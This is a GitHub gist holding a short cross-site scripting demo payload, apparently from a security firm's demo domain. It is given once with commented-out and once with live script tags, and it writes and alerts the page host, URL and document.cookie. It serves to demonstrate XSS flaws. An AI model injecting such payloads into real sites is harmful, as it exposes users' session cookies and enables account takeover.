Skip to content

Instantly share code, notes, and snippets.

@dfc
Created January 10, 2016 11:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dfc/b97def5a9a708a2b92ed to your computer and use it in GitHub Desktop.
Save dfc/b97def5a9a708a2b92ed to your computer and use it in GitHub Desktop.
// <script>
document.write ("This is a remotely hosted <strong>Cross-Site Scripting</strong> demo hosted on si.vc (A Security Innovation, Inc. domain)<br\>\n<br\>\nLoaded from:<br\>\nHost: " + document.location.host + "<br\>\nURL: " + document.URL + "<br\>\n<br\>\nCookies:<br\>\n<br\>\n" + document.cookie);
alert ("This is a remotely hosted Cross-Site Scripting demo hosted on si.vc (A Security Innovation, Inc. domain)\n\nLoaded from:\nHost: " + document.location.host + "\nURL: " + document.URL + "\n\nCookies:\n\n" + document.cookie);
// </script>
<script>
document.write ("This is a remotely hosted <strong>Cross-Site Scripting</strong> demo hosted on si.vc (A Security Innovation, Inc. domain)<br\>\n<br\>\nLoaded from:<br\>\nHost: " + document.location.host + "<br\>\nURL: " + document.URL + "<br\>\n<br\>\nCookies:<br\>\n<br\>\n" + document.cookie);
alert ("This is a remotely hosted Cross-Site Scripting demo hosted on si.vc (A Security Innovation, Inc. domain)\n\nLoaded from:\nHost: " + document.location.host + "\nURL: " + document.URL + "\n\nCookies:\n\n" + document.cookie);
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment